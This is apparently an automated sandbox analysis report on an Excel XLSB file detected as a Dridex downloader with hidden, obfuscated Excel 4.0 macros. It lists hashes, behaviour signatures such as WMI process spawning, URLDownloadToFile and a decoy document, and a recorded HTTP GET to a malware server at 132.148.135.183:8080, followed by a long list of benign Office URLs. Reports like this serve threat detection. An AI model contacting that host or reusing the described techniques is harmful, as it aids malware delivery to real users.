Windows Analysis Report 474556085436219490680.xlsb

Overview

General Information

Sample Name: 474556085436219490680.xlsb
Analysis ID: 528398
MD5: 75c325deec0cae07e089f47028c4e444
SHA1: ff3d0672ff1a95212063a42779538c1896d3b77c
SHA256: f4e3013be0615f60a3a6f6d3d3b26aa5239fe270e404dd465e1b99c2b594b4f8
Tags: xlsbxlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader
Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Dridex Downloader
Multi AV Scanner detection for submitted file
Creates and opens a fake document (probably a fake document to hide exploiting)
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document exploit detected (process start blacklist hit)
Creates processes via WMI
Document exploit detected (UrlDownloadToFile)
Found protected and hidden Excel 4.0 Macro sheet
Contains functionality to create processes via WMI
Found obfuscated Excel 4.0 Macro
Queries the volume information (name, serial number etc) of a device
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Yara detected Xls With Macro 4.0
Detected TCP or UDP traffic on non-standard ports
Sigma detected: Suspicious WMI Execution
Sample execution stops while process was sleeping (likely an evasion)
Potential document exploit detected (performs HTTP gets)
IP address seen in connection with other malware

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: 474556085436219490680.xlsb Virustotal: Detection: 28% Perma Link
Source: 474556085436219490680.xlsb ReversingLabs: Detection: 22%
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\wbem\WMIC.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Section loaded: unknown origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.3:49745 -> 132.148.135.183:8080
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.3:49745 -> 132.148.135.183:8080

Networking:

barindex
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 132.148.135.183:8080Connection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.3:49745 -> 132.148.135.183:8080
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.148.135.183 132.148.135.183
Source: unknown TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: unknown TCP traffic detected without corresponding DNS query: 132.148.135.183
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.aadrm.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.aadrm.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.cortana.ai
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.office.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.onedrive.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://augloop.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://augloop.office.com/v2
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cdn.entity.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://clients.config.office.net/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://config.edge.skype.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cortana.ai
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cortana.ai/api
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://cr.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dev.cortana.ai
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://devnull.onenote.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://directory.services.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://graph.windows.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://graph.windows.net/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://lifecycle.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://login.windows.local
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://management.azure.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://management.azure.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://messaging.office.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ncus.contentsync.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://officeapps.live.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://onedrive.live.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://osi.office.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://otelrules.azureedge.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office365.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office365.com/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://powerlift.acompli.net
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://roaming.edog.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://settings.outlook.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://shell.suite.office.com:1443
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://skyapi.live.net/Activity/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://staging.cortana.ai
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://tasks.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://webshell.suite.office.com
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://wus2.contentsync.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 4B93B946-94A6-4DBD-A1CD-B345F4F9DFB7.0.dr String found in binary or memory: https://www.odwebp.svc.ms
